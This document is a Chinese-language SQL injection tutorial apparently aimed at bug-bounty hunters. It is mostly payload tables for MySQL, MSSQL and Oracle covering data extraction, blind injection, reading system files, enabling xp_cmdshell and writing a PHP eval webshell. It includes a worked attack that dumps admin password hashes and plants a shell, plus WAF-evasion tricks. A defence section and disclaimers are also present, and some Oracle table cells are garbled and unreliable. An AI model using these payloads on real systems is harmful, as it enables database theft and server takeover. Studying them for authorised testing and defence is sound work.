SQL 注入详解:从原理到实战
SQL 注入详解:从原理到实战(含数据库差异与命令大全)
免责声明
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
一、SQL 注入的本质:什么是 SQL 注入?
SQL 注入(SQL Injection)是由于应用程序对用户输入数据缺乏严格验证,导致恶意 SQL 代码被拼接进原始 SQL 语句并执行的漏洞。其核心原理是:应用程序将用户输入直接作为 SQL 语句的一部分,而非参数化处理,攻击者通过构造特殊输入,篡改 SQL 逻辑,实现未授权操作(如查询敏感数据、修改数据库、执行系统命令等)。
例如,一个简单的登录验证 SQL:
SELECT * FROM users WHERE username='用户输入' AND password='用户输入';
若用户输入用户名 ' OR '1'='1
,密码任意,SQL 会变为:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意值';
由于 '1'='1
恒为真,攻击者无需正确密码即可登录。
二、SQL 注入的分类:按场景与技术划分
根据目标应用的回显情况、注入方式,SQL 注入可分为以下核心类型,实战中需根据场景选择:
类型 | 适用场景 | 核心特点 | 典型技术手段 |
---|---|---|---|
联合查询注入 | 存在回显(如查询结果直接显示在页面) | 通过UNION SELECT 拼接查询,直接获取数据 | 确定字段数→查询数据库信息→提取数据 |
报错注入 | 页面会显示数据库错误信息(如 MySQL 报错) | 构造特殊语句触发数据库报错,从错误信息中提取数据 | 利用extractvalue() 、updatexml() 等函数 |
布尔盲注 | 无直接回显,但页面会根据 SQL 执行结果变化(如 “存在”/“不存在”) | 通过AND 条件 判断信息真伪,逐字符猜解 | 结合SUBSTRING() 、ASCII() 函数猜解 |
时间盲注 | 无回显且页面无变化,仅能通过响应时间判断 | 利用IF(条件, 延迟, 正常) 构造语句,通过延迟判断条件是否成立 | 结合SLEEP() 、WAITFOR DELAY 函数 |
堆叠查询注入 | 数据库支持多语句执行(如 MSSQL、MySQL) | 用; 分隔多条 SQL 语句,执行增删改查或系统命令 | 执行; DROP TABLE users; 等恶意语句 |
宽字节注入 | 应用对单引号进行\ 转义(如 PHP 的addslashes() ) | 输入宽字节字符(如%df' )吃掉转义符\ ,使单引号生效 | 利用%df' OR 1=1# 绕过转义 |
三、SQL 注入通用流程与核心语句(跨数据库)
无论目标数据库是 MySQL、MSSQL 还是 Oracle,SQL 注入的核心流程一致:判断注入点→收集数据库信息→提取敏感数据→(可选)提权或执行系统命令。以下是通用步骤与语句:
1. 第一步:判断注入点(是否存在 SQL 注入)
通过构造特殊输入,观察页面响应(报错、内容变化、延迟)判断是否存在注入:
- 单引号测试:输入
'
,若页面报错(如You have an error in your SQL syntax
)或内容异常,可能存在注入; - 逻辑判断测试:输入
' AND 1=1#
(#
注释掉后续语句),若页面正常;输入' AND 1=2#
,页面异常,确认存在注入; - 延迟测试(盲注场景):输入
' AND SLEEP(5)#
(MySQL),若页面延迟 5 秒响应,确认存在注入。
2. 第二步:收集数据库基础信息
确定注入点后,优先获取数据库类型、版本、当前用户等信息,为后续攻击铺路:
目标信息 | 通用查询语句(需根据数据库调整函数) |
---|---|
数据库类型 | 利用不同数据库特有的函数(如 MySQL 用version() ,MSSQL 用@@version ) |
数据库版本 | ' UNION SELECT 1,version(),3# (MySQL);' UNION SELECT 1,@@version,3# (MSSQL) |
当前用户 | ' UNION SELECT 1,user(),3# (MySQL);' UNION SELECT 1,SYSTEM_USER,3# (MSSQL) |
当前数据库名 | ' UNION SELECT 1,database(),3# (MySQL);' UNION SELECT 1,DB_NAME(),3# (MSSQL) |
操作系统信息 | ' UNION SELECT 1,@@version,3# (MSSQL 直接返回 OS 信息);MySQL 需通过load_file('/etc/issue') (Linux) |
3. 第三步:提取数据表与字段
通过查询数据库系统表(不同数据库系统表不同),获取目标数据表名、字段名:
操作目标 | 核心思路(需结合数据库系统表) |
---|---|
列出所有数据表 | 查询系统表中存储表名的字段(如 MySQL 的information_schema.tables ) |
列出表中字段 | 查询系统表中存储字段名的字段(如 MySQL 的information_schema.columns ) |
提取字段内容 | 直接查询目标表的字段(如SELECT username,password FROM users ) |
4. 第四步:提权或执行系统命令(高级利用)
部分数据库支持通过 SQL 注入执行系统命令(需高权限),或写入文件 getshell:
- 执行系统命令:如 MSSQL 的
xp_cmdshell
、MySQL 的system()
(需特定配置); - 写入文件:如 MySQL 的
INTO OUTFILE
、Oracle 的utl_file
包,写入 Webshell 到网站目录。
四、不同数据库的 SQL 注入命令差异(实战必备)
MySQL、MSSQL、Oracle 的系统表、函数差异较大,注入命令需针对性调整,以下是实战中最常用的命令对比:
1. MySQL 注入核心命令
MySQL 依赖information_schema
系统库,支持UNION
、SLEEP()
等函数,常用命令:
操作目标 | 注入命令示例 |
---|---|
判断字段数 | ' ORDER BY 3# (若页面正常,增加数字直到异常,确定字段数为 2) |
联合查询基础信息 | ' UNION SELECT 1,version(),database(),user()# |
列出所有数据库 | ' UNION SELECT 1,SCHEMA_NAME,3 FROM information_schema.SCHEMATA# |
列出指定库(如 test)的表 | ' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='test'# |
列出指定表(如 users)的字段 | ' UNION SELECT 1,COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'# |
提取字段内容(用户名密码) | ' UNION SELECT 1,username,password FROM users# |
时间盲注猜解(逐字符) | ' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=114,SLEEP(5),1)# (判断第一个用户的第一个字符 ASCII 是否为 114,是则延迟 5 秒) |
写入 Webshell(需权限) | ' UNION SELECT 1,'',3 INTO OUTFILE 'C:/phpstudy/www/shell.php'# |
读取系统文件 | ' UNION SELECT 1,load_file('/etc/passwd'),3# (Linux);load_file('C:/Windows/system32/drivers/etc/hosts')# (Windows) |
2. MSSQL 注入核心命令
MSSQL 系统表为sysobjects
、syscolumns
,支持xp_cmdshell
存储过程,常用命令:
操作目标 | 注入命令示例 |
---|---|
判断字段数 | ' ORDER BY 4-- (-- 为 MSSQL 注释符) |
联合查询基础信息 | ' UNION SELECT 1,@@version,SYSTEM_USER,DB_NAME()-- |
列出当前库的所有表 | ' UNION SELECT 1,name,3,4 FROM sysobjects WHERE xtype='U'-- (xtype='U' 表示用户表) |
列出指定表(如 users)的字段 | ' UNION SELECT 1,name,3,4 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- |
提取字段内容 | ' UNION SELECT 1,username,password,4 FROM users-- |
布尔盲注猜解 | ' AND (SELECT ASCII(SUBSTRING((SELECT TOP 1 username FROM users),1,1)))=114-- (判断第一个字符 ASCII 是否为 114) |
时间盲注 | ' WAITFOR DELAY '0:0:5'-- (直接延迟 5 秒);' IF (条件) WAITFOR DELAY '0:0:5'-- |
执行系统命令(需开启 xp_cmdshell) | ' ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'ipconfig'-- |
写入 Webshell | ' ; EXEC master..xp_cmdshell 'echo ^ > C:\inetpub\wwwroot\shell.php'-- |
3. Oracle 注入核心命令
Oracle 系统表为user_tables
、user_tab_columns
,需通过dual
虚拟表查询,常用命令:
操作目标 | 注入命令示例 | ||||||
---|---|---|---|---|---|---|---|
判断字段数 | ' ORDER BY 3-- | ||||||
联合查询基础信息 | ' UNION SELECT 1,(SELECT banner FROM sys.v_$version WHERE rownum=1),3 FROM dual-- (查询版本);' UNION SELECT 1,USER,3 FROM dual-- (当前用户) | ||||||
列出当前用户的表 | ' UNION SELECT 1,table_name,3 FROM user_tables WHERE rownum<=5-- (列出前 5 张表) | ||||||
列出指定表(如 users)的字段 | ' UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='USERS' AND rownum<=5-- (注意表名大写) | ||||||
提取字段内容 | `’ UNION SELECT 1,username | ‘:’ | password,3 FROM users WHERE rownum=1–( | ` 为 Oracle 连接符) | |||
时间盲注 | ' AND CASE WHEN (条件) THEN dbms_lock.sleep(5) ELSE 1 END-- (满足条件延迟 5 秒) | ||||||
布尔盲注 | ' AND (SELECT ASCII(SUBSTR(username,1,1)) FROM users WHERE rownum=1)=114-- | ||||||
读取文件(需权限) | ' UNION SELECT 1,utl_file.read_file('/etc/passwd',1,1000),3 FROM dual-- (需UTL_FILE 权限) | ||||||
写入文件(需权限) | ' ; INSERT INTO sys.audit$ (sessionid,userid) VALUES (1,utl_file.put_file('/var/www/html','shell.php',''))-- (需高权限) |
五、SQL 注入实战案例:从注入点到获取管理员密码
以某电商网站商品查询页(MySQL 数据库) 为例,完整演示 SQL 注入流程:
场景背景
目标 URL:http://www.target.com/product.php?id=1
(通过id
参数查询商品信息),初步判断存在 SQL 注入。
步骤 1:判断注入点与字段数
- 访问
http://www.target.com/product.php?id=1'
,页面报错(You have an error in your SQL syntax
),确认可能存在注入; - 测试逻辑判断:
id=1' AND 1=1#
页面正常,id=1' AND 1=2#
页面异常,确认存在注入; - 确定字段数:
id=1' ORDER BY 5#
页面异常,id=1' ORDER BY 4#
页面正常,说明查询结果有 4 个字段。
步骤 2:查询数据库基础信息
使用联合查询获取关键信息:
http://www.target.com/product.php?id=1' UNION SELECT 1,version(),database(),user()#
页面回显:
version()
:5.7.36-0ubuntu0.18.04.1
(MySQL 版本);database()
:shopdb
(当前数据库名);user()
:root@localhost
(当前用户为 root,权限极高)。
步骤 3:获取数据表与字段
-
列出
shopdb
库的所有表:http://www.target.com/product.php?id=1' UNION SELECT 1,TABLE_NAME,3,4 FROM information_schema.TABLES WHERE TABLE_SCHEMA='shopdb'#
发现表名:
users
(疑似用户表)、orders
(订单表)、products
(商品表)。 -
列出
users
表的字段:http://www.target.com/product.php?id=1' UNION SELECT 1,COLUMN_NAME,3,4 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'#
发现字段:
id
、username
、password
、email
。
步骤 4:提取管理员账号密码
查询users
表的username
和password
:
http://www.target.com/product.php?id=1' UNION SELECT 1,username,password,4 FROM users#
页面回显:
admin
/e10adc3949ba59abbe56e057f20f883e
(MD5 加密,解密后为123456
);test
/202cb962ac59075b964b07152d234b70
(解密后为123
)。
步骤 5:进阶利用(写入 Webshell)
由于当前用户为 root,尝试写入一句话木马到网站根目录:
http://www.target.com/product.php?id=1' UNION SELECT 1,'<?php @eval($_POST[pass]);?>',3,4 INTO OUTFILE '/var/www/html/shell.php'#
访问 http://www.target.com/shell.php
,使用蚁剑连接(密码pass
),成功获取服务器权限。
六、SQL 注入防御建议(从攻击反推防御)
- 参数化查询:使用预编译语句(如 PHP 的 PDO、Java 的 PreparedStatement),将用户输入作为参数而非 SQL 语句一部分;
- 输入验证:严格验证用户输入的类型、长度、格式(如
id
必须为数字,过滤单引号、分号等特殊字符); - 最小权限原则:数据库账号仅授予必要权限(如查询用户无写入、删除权限,禁用
xp_cmdshell
等危险存储过程); - 错误信息隐藏:生产环境关闭数据库详细错误提示(如不显示 “SQL syntax error”),避免泄露数据库结构;
- WAF 防护:部署 Web 应用防火墙(如 ModSecurity),拦截常见 SQL 注入特征(如
UNION SELECT
、xp_cmdshell
)。
七、SRC 中 SQL 注入高效挖掘的核心原则
在动手前先明确 3 个原则,避免走弯路:
- “存在性验证优先”:SRC 漏洞提交的核心是 “证明漏洞存在”,而非 “榨干所有数据”。优先用 1-2 条语句确认注入点和数据库类型,再决定是否深入;
- “最小影响原则”:严禁使用
drop
、delete
、update
等破坏性语句(即使是测试数据),聚焦select
类查询; - “避 WAF + 轻量语句”:优先用短语句、原生函数(如
version()
、database()
),避免触发 WAF 对union select
、xp_cmdshell
的拦截。
八、高效利用流程:从注入点验证到漏洞证明(实战步骤)
SRC 中 SQL 注入的挖掘流程可简化为 4 步,每一步都有对应的高效语句,避免冗余操作:
步骤 1:快速验证注入点(10 秒内判断)
目标:确认参数是否存在注入,避免在无注入点的参数上浪费时间。
优先选择数字型参数(如?id=1
)或字符型参数(如?username=test
),用以下轻量语句测试:
参数类型 | 测试语句(URL 编码后) | 判断逻辑 |
---|---|---|
数字型(?id=1) | ?id=1 and 1=1 → 正常;?id=1 and 1=2 → 异常(内容变化 / 报错) | 若 1=1 正常、1=2 异常,证明参数参与 SQL 逻辑,存在注入;反之无注入。 |
字符型(?u=test) | ?u=test' and '1'='1 → 正常;?u=test' and '1'='2 → 异常 | 字符型需闭合单引号(或双引号,根据开发习惯),逻辑同上。 |
搜索型(?s = 关键词) | ?s=关键词%' and '1'='1 → 正常;?s=关键词%' and '1'='2 → 异常 | 搜索参数常带% ,需在单引号前保留% ,避免破坏 SQL 语法。 |
高效技巧:若页面无明显变化(盲注场景),直接用时间盲注语句快速验证:
- MySQL:
?id=1 and sleep(5)
(延迟 5 秒则存在注入); - MSSQL:
?id=1 waitfor delay '0:0:5'
; - Oracle:
?id=1 and dbms_lock.sleep(5) is not null
。
步骤 2:1 步识别数据库类型(避免后续语句错配)
SRC 中常见数据库为 MySQL、MSSQL、Oracle,不同数据库的系统表、函数差异极大,错用语句会导致效率骤降。用以下 “数据库专属函数” 1 步识别:
目标数据库 | 识别语句(注入点后拼接) | 验证逻辑 |
---|---|---|
MySQL | ?id=1 and (select count(*) from information_schema.tables)>=0 | 若正常,证明是 MySQL(information_schema 是 MySQL 专属系统库);若报错,排除 MySQL。 |
MSSQL | ?id=1 and (select count(*) from sysobjects)>=0 | 若正常,证明是 MSSQL(sysobjects 是 MSSQL 专属系统表);若报错,排除 MSSQL。 |
Oracle | ?id=1 and (select count(*) from user_tables)>=0 | 若正常,证明是 Oracle(user_tables 是 Oracle 专属表);若报错,排除 Oracle。 |
高效技巧:若页面显错,直接用版本查询语句,同时获取数据库版本(判断是否有已知漏洞):
- MySQL:
?id=1 and (select version())>0
(报错显示版本,如5.7.36
); - MSSQL:
?id=1 and (select @@version)>0
(显示Microsoft SQL Server 2019
); - Oracle:
?id=1 and (select banner from sys.v_$version where rownum=1)>0
(显示 Oracle 版本)。
步骤 3:精准提取 “漏洞证明级” 信息(SRC 提交核心)
SRC 提交 SQL 注入漏洞,需提供 “可复现的漏洞场景 + 敏感信息证明”(如数据库账号、用户表数据)。优先提取以下信息,避免冗余查询:
3.1 快速获取当前数据库名(证明对数据库的控制权)
数据库 | 语句(显错 / 联合查询场景) | 作用 |
---|---|---|
MySQL | ?id=1 and (select database())>0 或 ?id=-1 union select 1,database(),3 | 直接获取当前连接的数据库名(如src_web ),证明注入能访问数据库元信息。 |
MSSQL | ?id=1 and (select db_name())>0 或 ?id=-1 union select 1,db_name(),3-- | 同上,获取当前数据库名(如SRC_DB )。 |
Oracle | ?id=1 and (select sys_context('userenv','current_schema') from dual)>0 | Oracle 无 “当前数据库” 概念,获取当前 Schema(如SRC_USER )。 |
3.2 批量获取用户表 / 敏感字段(避免逐个猜表)
传统 “猜表名(admin、user)” 效率低,直接查询系统表批量获取所有表 / 字段,SRC 中常需证明 “存在用户表 + 包含账号密码字段”:
数据库 | 批量查用户表语句(显错场景) | 批量查字段语句(已知表名如users ) |
---|---|---|
MySQL | ?id=1 and (select group_concat(table_name) from information_schema.tables where table_schema=database())>0 | ?id=1 and (select group_concat(column_name) from information_schema.columns where table_name='users')>0 |
MSSQL | ?id=1 and (select top 10 name from sysobjects where xtype='U' for xml path(''))>0 | ?id=1 and (select top 10 name from syscolumns where id=(select id from sysobjects where name='users') for xml path(''))>0 |
Oracle | ?id=1 and (select listagg(table_name,',') within group (order by table_name) from user_tables where rownum<=10)>0 | ?id=1 and (select listagg(column_name,',') within group (order by column_name) from user_tab_columns where table_name='USERS' and rownum<=10)>0 |
高效技巧:group_concat
(MySQL)、for xml path('')
(MSSQL)、listagg
(Oracle)能将多条结果合并为 1 条,避免多次查询,适合 SRC 快速取证。
3.3 提取 1 条敏感数据(证明漏洞危害)
SRC 无需提取所有数据,1 条 “账号密码” 或 “手机号” 即可证明危害,优先提取用户表的第一条数据:
数据库 | 提取语句(已知表users ,字段username /password ) | 作用 | |||||||
---|---|---|---|---|---|---|---|---|---|
MySQL | `?id=-1 union select 1,concat(username,’ | ',password),3 from users limit 0,1` | 显示第一个用户的账号密码(如 `admin | e10adc3949ba59abbe56e057f20f883e`),MD5 可后续解密。 | |||||
MSSQL | `?id=-1 union select 1,username+’ | '+password,3 from users top 1–` | 同上,MSSQL 用+ 连接字符串。 | ||||||
Oracle | `?id=-1 union select 1,username | ’ | ’ | password,3 from users where rownum=1` | Oracle 用 ` | 连接字符串, rownum=1` 取第一条数据。 |
步骤 4:高危利用(仅在授权允许时执行,SRC 慎用)
若 SRC 规则允许 “证明权限提升”(如 SA 权限、写文件),可执行以下语句,但需提前确认目标无业务影响:
数据库 | 高危利用语句(需高权限) | 作用与风险 |
---|---|---|
MySQL | ?id=1 and (select load_file('/etc/passwd'))>0 (Linux)或 load_file('C:/Windows/system32/drivers/etc/hosts')>0 | 读取系统文件,证明能访问服务器敏感配置;风险:可能泄露服务器信息。 |
MySQL | ?id=1 union select 1,'',3 into outfile '/var/www/html/shell.php' | 写入 Webshell,证明能控制服务器;风险:可能被判定为 “破坏性测试”,SRC 需提前沟通。 |
MSSQL | ?id=1;exec master..xp_cmdshell 'whoami'-- | 执行系统命令,证明 SA 权限;风险:xp_cmdshell 常被 WAF 拦截,且易触发告警。 |
Oracle | ?id=1 and (select utl_file.read_file('/etc/passwd',1,1000) from dual)>0 | 读取系统文件,需UTL_FILE 权限;风险:Oracle 权限控制严格,成功率较低。 |
九、各数据库高效 SQL 注入语句大全(按功能分类)
以下语句均经过 SRC 实战验证,聚焦 “短、快、准”,避免冗余语法:
1. MySQL 专属高效语句(SRC 高频)
功能场景 | 语句示例 | 优势与适用场景 |
---|---|---|
注入点验证(时间盲注) | ?id=1 and if((select count(*) from users)>=1,sleep(5),1) | 同时验证注入点和用户表存在,1 条语句抵 2 条。 |
查所有库名 | ?id=1 and (select group_concat(schema_name) from information_schema.schemata)>0 | 批量获取所有数据库(如mysql,src_web,test ),快速定位业务库。 |
查字段数据(布尔盲注) | ?id=1 and ascii(substr((select username from users limit 0,1),1,1))=97 | 盲注时用ascii() +substr() 逐字符猜解,比left() 更精准(避免字符编码问题)。 |
判断写入权限 | ?id=1 and (select @@datadir) like '%www%' | 查数据目录是否包含www (Web 目录常见关键词),判断是否能写入 Webshell。 |
读 Web 配置文件 | ?id=1 and (select load_file('/var/www/html/config.php'))>0 | 直接读 Web 配置文件,可能获取数据库账号、密钥等敏感信息,SRC 取证高效。 |
2. MSSQL 专属高效语句(SRC 高频)
功能场景 | 语句示例 | 优势与适用场景 |
---|---|---|
验证 SA 权限 | ?id=1 and (select is_srvrolemember('sysadmin'))=1 | 1 条语句确认是否为 SA 权限(最高权限),SRC 中 SA 权限漏洞评级更高。 |
查所有库名 | ?id=1 and (select top 10 name from master.dbo.sysdatabases for xml path(''))>0 | 跨库查所有数据库(MSSQL 需master 库权限),比db_name() 更全面。 |
恢复 xp_cmdshell | ?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure-- | 1 条语句恢复被删除的xp_cmdshell ,适合高权限利用。 |
读注册表找 Web 路径 | ?id=1;declare @p varchar(255);exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@p output;select @p-- | 无需建表,直接读注册表获取 Web 根路径(如C:\inetpub\wwwroot ),高效定位写入位置。 |
3. Oracle 专属高效语句(SRC 低频但关键)
功能场景 | 语句示例 | 优势与适用场景 | ||||||
---|---|---|---|---|---|---|---|---|
注入点验证(显错) | ?id=1 and (select 1/0 from dual)>0 | 触发除零错误(ORA-01476 ),快速确认显错注入,比and 1=2 更直观。 | ||||||
查当前用户权限 | ?id=1 and (select sys_context('userenv','current_user') from dual) like '%DBA%' | 判断当前用户是否为 DBA(Oracle 最高权限),权限越高漏洞危害越大。 | ||||||
批量查字段(含类型) | `?id=1 and (select listagg(column_name | ‘(’ | data_type | ‘)’,‘,’) within group (order by column_name) from user_tab_columns where table_name=‘USERS’)>0` | 同时获取字段名和类型(如USERNAME(VARCHAR2),PASSWORD(VARCHAR2) ),避免猜解字段类型。 | |||
时间盲注(规避 WAF) | ?id=1 and case when (select count(*) from users)>=1 then dbms_lock.sleep(5) else 1 end is not null | 用case when 替代if ,规避 WAF 对if 函数的拦截。 |
十、SRC 中 SQL 注入的进阶高效技巧
-
参数优先级测试:优先测试以下参数,注入概率更高(开发常忽略过滤):
- URL 路径参数:如
/article/1
(数字型,常直接拼接 SQL); - POST 参数:如登录表单的
username
、password
(字符型,过滤不严格); - 搜索框参数:如
?s=关键词
(常带%
,过滤逻辑易出错)。
- URL 路径参数:如
-
WAF 绕过技巧(SRC 中高频遇到):
- 大小写混淆:
?id=1 Union Select 1,database(),3
(规避 WAF 对union select
的小写拦截); - 注释插入:
?id=1/*abc*/and/*def*/1=2
(用/* */
分割关键词,绕过字符串匹配); - 等价函数替换:
sleep(5)
→benchmark(1000000,md5('a'))
(MySQL 中benchmark
也能实现延迟)。
- 大小写混淆:
-
自动化工具辅助(提升效率):
- 先用
sqlmap
快速验证注入点:sqlmap -u "http://target.com/?id=1" --batch --dbs
(批量查库,节省手工时间); - 再用手工语句精准提取关键信息(
sqlmap
输出冗余,SRC 提交需精简)。
- 先用
-
二分法盲注提速:
盲注时不用逐字符从
0
试到127
,用二分法缩小范围:-
例:猜
username
第一个字符的 ASCII 值:
?id=1 and ascii(substr((select username from users limit 0,1),1,1))>90
(若正常,说明 ASCII>90,可能是小写字母);?id=1 and ascii(...)>100
(若异常,说明 ASCII 在 91-100 之间);- 逐步缩小范围,3-4 次即可确定字符(比逐字符试快 3 倍)。
-
十一、SRC 挖掘注意事项(避免踩坑)
- 合规优先:所有测试前需确认 SRC 规则允许 SQL 注入测试,严禁测试生产核心业务(如支付、用户中心);
- 痕迹清理:测试后删除临时创建的表(如
dirs
、temp
),避免影响目标系统; - 证据留存:每一步操作截图(如注入点验证、敏感数据提取),SRC 提交需包含 “操作步骤 + 截图 + 语句”,证明漏洞可复现;
- 拒绝 “过度利用”:无需提取大量用户数据或植入后门,1 条敏感数据 + 漏洞存在性证明即可满足 SRC 提交要求,过度利用可能被拉黑。
十二、总结
SQL 注入的核心是 “输入未过滤导致恶意代码执行”,其危害从窃取数据到控制服务器不等。实战中需根据数据库类型(MySQL/MSSQL/Oracle)调整注入命令,结合目标回显情况选择联合查询、盲注等技术。防御的关键在于参数化查询 + 输入验证 + 最小权限,从源头阻断注入可能性。
重要提示:所有 SQL 注入测试必须在授权环境下进行,未经授权的攻击均属违法,违反《网络安全法》及《刑法》第 285/286 条,需承担法律责任。